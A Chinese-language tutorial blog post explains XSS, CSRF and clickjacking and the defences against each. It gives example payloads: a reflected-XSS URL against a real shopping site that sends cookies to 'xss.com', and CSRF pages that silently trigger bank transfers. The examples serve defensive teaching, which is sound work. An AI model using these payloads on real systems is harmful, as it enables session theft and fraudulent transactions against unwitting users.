Web安全的三個攻防姿勢

技術小能手發表於2018-08-27

關於Web安全的問題,是一個老生常談的問題,作為離使用者最近的一層,我們大前端確實需要把手伸的更遠一點。

我們最常見的Web安全攻擊有以下幾種:

● XSS 跨站指令碼攻擊
● CSRF 跨站請求偽造
● clickjacking 點選劫持/UI-覆蓋攻擊

下面我們來一一分析。

XSS 跨站指令碼攻擊

跨站指令碼攻擊(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站指令碼攻擊縮寫為XSS。惡意攻擊者往Web頁面裡插入惡意Script程式碼,當使用者瀏覽該頁之時,嵌入其中Web裡面的Script程式碼會被執行,從而達到惡意攻擊使用者的目的。

分類:


  1. 1. Reflected XSS(基於反射的XSS攻擊)

  2. 2. Stored XSS(基於儲存的XSS攻擊)

  3. 3. DOM-based or local XSS(基於DOM或本地的XSS攻擊)

Reflected XSS(基於反射的XSS攻擊)

主要通過利用系統反饋行為漏洞,並欺騙使用者主動觸發,從而發起Web攻擊。
舉個例子:
1- 假設,在嚴選網站搜尋商品,當搜尋不到時站點會做“xxx未上架提示”。如下圖。

730d454530cb4c3c4145d55a1b653ec89989a4af

2- 在搜尋框搜尋內容,填入“<script>alert(`xss`)</script>”, 點選搜尋。

3- 當前端頁面沒有對填入的資料進行過濾,直接顯示在頁面上, 這時就會alert那個字串出來。

039f9f773f855b55f04ca7b1443166fcb65e576f

(當然上圖是模擬的)

以上3步只是“自娛自樂”,XSS最關鍵的是第四步。

4- 進而可以構造獲取使用者cookies的地址,通過QQ群或者垃圾郵件,來讓其他人點選這個地址:


  1. http://you.163.com/search?keyword=<script>document.location=`http://xss.com/get?cookie=`+document.cookie</script>

5- 如果受騙的使用者剛好已經登入過嚴選網站,那麼,使用者的登入cookie資訊就已經發到了攻擊者的伺服器(xss.com)了。當然,攻擊者會做一些更過分的操作。

Stored XSS(基於儲存的XSS攻擊)

Stored XSS和Reflected XSS的差別就在於,具有攻擊性的指令碼被儲存到了伺服器並且可以被普通使用者完整的從服務的取得並執行,從而獲得了在網路上傳播的能力。

再舉個例子:
1- 發一篇文章,裡面包含了惡意指令碼


  1. 你好!當你看到這段文字時,你的資訊已經不安全了!<script>alert(`xss`)</script>

2- 後端沒有對文章進行過濾,直接儲存文章內容到資料庫。

3- 當其他讀者看這篇文章的時候,包含的惡意指令碼就會執行。

tips:文章是儲存整個HTML內容的,前端顯示時候也不做過濾,就極可能出現這種情況。此問題多從在於部落格網站。

如果我們的操作不僅僅是彈出一個資訊,而且刪除一篇文章,發一篇反動的文章,或者成為我的粉絲並且將這篇帶有惡意指令碼的文章轉發,這樣是不是就具有了攻擊性。

DOM-based or local XSS(基於DOM或本地的XSS攻擊)

DOM,全稱Document Object Model,是一個平臺和語言都中立的介面,可以使程式和指令碼能夠動態訪問和更新文件的內容、結構以及樣式。

DOM型XSS其實是一種特殊型別的反射型XSS,它是基於DOM文件物件模型的一種漏洞。可以通過DOM來動態修改頁面內容,從客戶端獲取DOM中的資料並在本地執行。基於這個特性,就可以利用JS指令碼來實現XSS漏洞的利用。

可能觸發DOM型XSS的屬性:
document.referer屬性
window.name屬性
location屬性
innerHTML屬性
documen.write屬性
······

總結

XSS攻擊的本質就是,利用一切手段在目標使用者的瀏覽器中執行攻擊指令碼。

防範

對於一切使用者的輸入、輸出、客戶端的輸出內容視為不可信,在資料新增到DOM或者執行了DOM API的時候,我們需要對內容進行HtmlEncode或JavaScriptEncode,以預防XSS攻擊。

CSRF 跨站請求偽造

CSRF(Cross-site request forgery)跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。儘管聽起來像跨站指令碼(XSS),但它與XSS非常不同,XSS利用站點內的信任使用者,而CSRF則通過偽裝來自受信任使用者的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防範的資源也相當稀少)和難以防範,所以被認為比XSS更具危險性。但往往同XSS一同作案!

此下的詳解部分轉自hyddd的博文:

http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html,示例寫的很贊就部分謄抄至此,並做了一定的修改,向作者hyddd致敬&致謝。

CSRF可以做什麼?

你可以這麼理解CSRF攻擊:攻擊者盜用了你的身份,以你的名義傳送惡意請求。CSRF能夠做的事情包括:以你名義傳送郵件,發訊息,盜取你的賬號,甚至於購買商品,虛擬貨幣轉賬……造成的問題包括:個人隱私洩露以及財產安全。

CSRF漏洞現狀

CSRF這種攻擊方式在2000年已經被國外的安全人員提出,但在國內,直到06年才開始被關注,08年,國內外的多個大型社群和互動網站分別爆出CSRF漏洞,如:NYTimes.com(紐約時報)、Metafilter(一個大型的BLOG網站),YouTube和百度HI……而現在,網際網路上的許多站點仍對此毫無防備,以至於安全業界稱CSRF為“沉睡的巨人”。

CSRF的原理

下圖簡單闡述了CSRF攻擊的思想:

7b0c991557450c3836e2ea0b426c9a408f65ad68

從上圖可以看出,要完成一次CSRF攻擊,受害者必須依次完成兩個步驟:

● 登入受信任網站A,並在本地生成Cookie。
● 在不登出A的情況下,訪問危險網站B。

看到這裡,你也許會說:“如果我不滿足以上兩個條件中的一個,我就不會受到CSRF的攻擊”。是的,確實如此,但你不能保證以下情況不會發生:

● 你不能保證你登入了一個網站後,不再開啟一個tab頁面並訪問另外的網站。
● 你不能保證你關閉瀏覽器了後,你本地的Cookie立刻過期,你上次的會話已經結束。(事實上,關閉瀏覽器不能結束一個會話,但大多數人都會錯誤的認為關閉瀏覽器就等於退出登入/結束會話了……)

● 上圖中所謂的攻擊網站,可能是一個存在其他漏洞的可信任的經常被人訪問的網站。

示例

上面大概地講了一下CSRF攻擊的思想,下面我將用幾個例子詳細說說具體的CSRF攻擊,這裡我以一個銀行轉賬的操作作為例子(僅僅是例子,真實的銀行網站沒這麼傻:>)

示例1

銀行網站A,它以GET請求來完成銀行轉賬的操作,如:http://www.mybank.com/Transfe…
危險網站B,它裡面有一段HTML的程式碼如下:


  1. <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

首先,你登入了銀行網站A,然後訪問危險網站B,噢,這時你會發現你的銀行賬戶少了1000塊……

為什麼會這樣呢?原因是銀行網站A違反了HTTP規範,使用GET請求更新資源。在訪問危險網站B的之前,你已經登入了銀行網站A,而B中的以GET的方式請求第三方資源(這裡的第三方就是指銀行網站了,原本這是一個合法的請求,但這裡被不法分子利用了),所以你的瀏覽器會帶上你的銀行網站A的Cookie發出Get請求,去獲取資源
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
結果銀行網站伺服器收到請求後,認為這是一個更新資源操作(轉賬操作),所以就立刻進行轉賬操作……

示例2

為了杜絕上面的問題,銀行決定改用POST請求完成轉賬操作。
銀行網站A的WEB表單如下:


  1. <form action="Transfer.php" method="POST">

  2. <p>ToBankId: <input type="text" name="toBankId" /></p>

  3. <p>Money: <input type="text" name="money" /></p>

  4. <p><input type="submit" value="Transfer" /></p>

  5. </form>

後臺處理頁面Transfer.php如下:


  1. <?php

  2.     session_start();

  3. if (isset($_REQUEST[`toBankId`] && isset($_REQUEST[`money`]))

  4. {

  5.      buy_stocks($_REQUEST[`toBankId`], $_REQUEST[`money`]);

  6. }

  7. ?>

危險網站B,仍然只是包含那句HTML程式碼:


  1. <img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

和示例1中的操作一樣,你首先登入了銀行網站A,然後訪問危險網站B,結果…..和示例1一樣,你再次沒了1000塊~TT,這次事故的原因是:銀行後臺使用了$REQUEST去獲取請求的資料,而$REQUEST既可以獲取GET請求的資料,也可以獲取POST請求的資料,這就造成了在後臺處理程式無法區分這到底是GET請求的資料還是POST請求的資料。在PHP中,可以使用$GET和$_POST分別獲取GET請求和POST請求的資料。在JAVA中,用於獲取請求資料request一樣存在不能區分GET請求資料和POST資料的問題。

示例3

經過前面2個慘痛的教訓,銀行決定把獲取請求資料的方法也改了,改用$_POST,只獲取POST請求的資料,後臺處理頁面Transfer.php程式碼如下:


  1. <?php

  2.     session_start();

  3. if (isset($_POST[`toBankId`] && isset($_POST[`money`]))

  4. {

  5.      buy_stocks($_POST[`toBankId`], $_POST[`money`]);

  6. }

  7. ?>

然而,危險網站B與時俱進,它改了一下程式碼:


  1. <html>

  2. <head>

  3. <script type="text/javascript">

  4. function steal()

  5. {

  6.      iframe = document.frames["steal"];

  7.       iframe.document.Submit("transfer");

  8. }

  9. </script>

  10. </head>

  11. <body onload="steal()">

  12. <iframe name="steal" display="none">

  13. <form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">

  14. <input type="hidden" name="toBankId" value="11">

  15. <input type="hidden" name="money" value="1000">

  16. </form>

  17. </iframe>

  18. </body>

  19. </html>

如果使用者仍是繼續上面的操作,很不幸,結果將會是再次不見1000塊……因為這裡危險網站B暗地裡傳送了POST請求到銀行!
  
總結一下上面3個例子,CSRF主要的攻擊模式基本上是以上的3種,其中以第1,2種最為嚴重,因為觸發條件很簡單,一個就可以了,而第3種比較麻煩,需要使用JavaScript,所以使用的機會會比前面的少很多,但無論是哪種情況,只要觸發了CSRF攻擊,後果都有可能很嚴重。
  
理解上面的3種攻擊模式,其實可以看出,CSRF攻擊是源於WEB的隱式身份驗證機制!WEB的身份驗證機制雖然可以保證一個請求是來自於某個使用者的瀏覽器,但卻無法保證該請求是使用者批准傳送的!

當前防禦 CSRF 的幾種策略

在業界目前防禦 CSRF 攻擊主要有三種策略:驗證 HTTP Referer 欄位;在請求地址中新增 token 並驗證;在 HTTP 頭中自定義屬性並驗證。下面就分別對這三種策略進行詳細介紹。

驗證 HTTP Referer 欄位

利用HTTP頭中的Referer判斷請求來源是否合法。

優點:簡單易行,只需要在最後給所有安全敏感的請求統一增加一個攔截器來檢查 Referer 的值就可以。特別是對於當前現有的系統,不需要改變當前系統的任何已有程式碼和邏輯,沒有風險,非常便捷。

缺點:
1、Referer 的值是由瀏覽器提供的,不可全信,低版本瀏覽器下Referer存在偽造風險。
2、使用者自己可以設定瀏覽器使其在傳送請求時不再提供 Referer時,網站將拒絕合法使用者的訪問。

在請求地址中新增 token 並驗證

在請求中放入黑客所不能偽造的資訊,並且該資訊不存在於 cookie 之中,以HTTP請求引數的形式加入一個隨機產生的 token交由服務端驗證

優點:比檢查 Referer 要安全一些,並且不涉及使用者隱私。
缺點:對所有請求都新增token比較困難,難以保證 token 本身的安全,依然會被利用獲取到token

在 HTTP 頭中自定義屬性並驗證+One-Time Tokens

將token放到 HTTP 頭中自定義的屬性裡。通過 XMLHttpRequest 的非同步請求交由後端校驗,並且一次有效。

優點:統一管理token輸入輸出,可以保證token的安全性
缺點:有侷限性,無法在非非同步的請求上實施

點選劫持

點選劫持,英文名clickjacking,也叫UI覆蓋攻擊,攻擊者會利用一個或多個透明或不透明的層來誘騙使用者支援點選按鈕的操作,而實際的點選確實使用者看不到的一個按鈕,從而達到在使用者不知情的情況下實施攻擊。

這種攻擊方式的關鍵在於可以實現頁中頁的iframe 標籤,並且可以使用css樣式表將他不可見

d747f0834198782c97982f72897229bbc405f2db

如以上示意圖的藍色層,攻擊者會通過一定的手段誘惑使用者“在紅色層”輸入資訊,但使用者實際上實在藍色層中,以此做欺騙行為。拿支付寶做個栗子5cfe2f1af98030ef24751eb30a340e3f585ae82a

上圖是支付寶手機話費充值的介面。

再看看一下介面

49586b7ad400d7c5c96e54a9379ecdcbde339bfd

是的,這個是我偽造的,如果我將真正的充值站點隱藏在此介面上方。我想,聰明的你已經知道clickjacking的危險性了。

ee3236858a0f06e38fd9b6d59a5d64af54bdf908

上圖我估計做了一下錯位和降低透明度,是不是很有意思呢?傻傻分不清的使用者還以為是領取了獎品,其實是給陌生人充值了話費。

這種方法最常見的攻擊場景是偽造一些網站盜取帳號資訊,如支付寶、QQ、網易帳號等帳號的賬密

8b3262aee005ee31ff0de8d5bfa3cd02b6aeda2f

目前,clickjacking還算比較冷門,很多安全意識不強的網站還未著手做clickjacking的防範。這是很危險的。

防範

防止點選劫持有兩種主要方法:

X-FRAME-OPTIONS

X-FRAME-OPTIONS是微軟提出的一個http頭,指示瀏覽器不允許從其他域進行取景,專門用來防禦利用iframe巢狀的點選劫持攻擊。並且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支援。
這個頭有三個值:
DENY // 拒絕任何域載入
SAMEORIGIN // 允許同源域下載入
ALLOW-FROM // 可以定義允許frame載入的頁面地址

頂層判斷

在UI中採用防禦性程式碼,以確保當前幀是最頂層的視窗
方法有多中,如


  1. top != self || top.location != self.location || top.location != location

有關Clickjacking防禦的更多資訊,請參閱Clickjacking Defense Cheat Sheet:https://www.owasp.org/index.php/ClickjackingDefenseCheat_Sheet

原文釋出時間為:2018-08-26

本文作者:zwwill_木羽

本文來自雲棲社群合作伙伴“Java架構沉思錄”,瞭解相關資訊可以關注“Java架構沉思錄”。


相關文章